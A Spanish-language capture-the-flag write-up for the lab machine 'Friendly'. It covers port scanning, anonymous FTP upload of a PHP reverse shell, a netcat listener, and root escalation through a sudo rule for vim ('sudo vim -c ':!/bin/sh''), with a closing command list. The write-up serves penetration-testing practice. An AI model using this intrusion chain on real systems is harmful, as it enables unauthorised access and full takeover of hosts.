WriteUps Friendly

19 Apr 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

No fue necesario realizar un escaneo para identificar la dirección IP, ya que la máquina Friendly mostraba directamente la IP local que estaba usando. Procedí a realizar un escaneo completo de puertos utilizando nmap:

BASH
1
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly

El resultado del escaneo mostró:

BASH
1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
|_-rw-r--r--   1 ftp      nogroup      2995 Mar 17 15:22 pwned-friendly.php
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.54 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)

Resultado: Se detectaron dos servicios importantes:

  • Puerto 21: Servicio FTP ProFTPD abierto con acceso anónimo.
  • Puerto 80: Servicio HTTP con Apache.

Explotación#

Me conecté al servicio FTP utilizando el acceso anónimo:

BASH
1
ftp 192.168.1.10

Conectado al servidor FTP, ejecuté un dir para listar los archivos disponibles. Encontré dos archivos interesantes: index.html y pwned-friendly.php. Descargué ambos a mi máquina local:

BASH
1
2
get index.html
get pwned-friendly.php

Al revisar el archivo pwned-friendly.php, me di cuenta de que contenía una reverse shell. Modifiqué el archivo para añadir mi dirección IP local y luego lo volví a subir al servidor FTP.

Luego de esto, me coloqué a la escucha utilizando netcat:

BASH
1
nc -lnvp 443

Finalmente, al acceder al archivo pwned-friendly.php desde el navegador, conseguí ejecutar la shell reversa y obtener acceso a la máquina. No obstante, la conexión no era estable, por lo que decidí utilizar la reverse shell de PHP PentestMonkey.

Después de modificar el contenido del archivo pwned-friendly.php con la shell de PentestMonkey y volver a subirlo, logré obtener una conexión más estable.

CTFriendlyNC.png

Una vez dentro, navegué hacia el directorio /home y encontré un directorio llamado RiJaba1. Allí se encontraba el archivo user.txt que contenía la primera bandera.

Bandera de usuario capturada:

BASH
1
cat user.txt

Escalada de privilegios#

Para elevar privilegios, ejecuté sudo -l y descubrí que el usuario podía ejecutar vim como root sin necesidad de contraseña:

BASH
1
2
User RiJaba1 may run the following commands on friendly:
    (root) NOPASSWD: /usr/bin/vim

Me dirigí a GTFOBinspara encontrar una forma de usar vim para escalar privilegios. La solución fue ejecutar el siguiente comando:

BASH
1
sudo vim -c ':!/bin/sh'

Resultado: Logré obtener acceso como root. Luego, me dirigí a la carpeta /root esperando encontrar la bandera de root (root.txt). Sin embargo, no estaba allí. En su lugar, encontré una pista que indicaba utilizar find para buscar la bandera.

BASH
1
find / -name root.txt 2>/dev/null

El comando find reveló que la bandera de root se encontraba en el directorio /var/log/apache2/. Una vez allí, ejecuté:

BASH
1
cat /var/log/apache2/root.txt

Bandera de root capturada.

Aprendizaje#

La máquina Friendly fue un buen ejercicio para practicar el uso de servicios FTP anónimos y para aprender a usar herramientas como GTFOBins para escalar privilegios. También destacó la importancia de buscar pistas adicionales cuando el camino hacia la bandera de root no es el esperado.

Comandos#

  1. Escaneo de puertos:
    BASH
    1
    nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly
    
  2. Conexión al servicio FTP:
    BASH
    1
    ftp 192.168.1.10
    
  3. Descarga de archivos desde FTP:
    BASH
    1
    2
    get index.html
    get pwned-friendly.php
    
  4. Modificación de la reverse shell:
    BASH
    1
    nano pwned-friendly.php
    
  5. Colocarse a la escucha con netcat:
    BASH
    1
    nc -lnvp 443
    
  6. Acceso como root usando vim:
    BASH
    1
    sudo vim -c ':!/bin/sh'
    
  7. Buscar la bandera de root con find:
    BASH
    1
    find / -name root.txt 2>/dev/null
    
  8. Captura de la bandera de root:
    BASH
    1
    cat /var/log/apache2/root.txt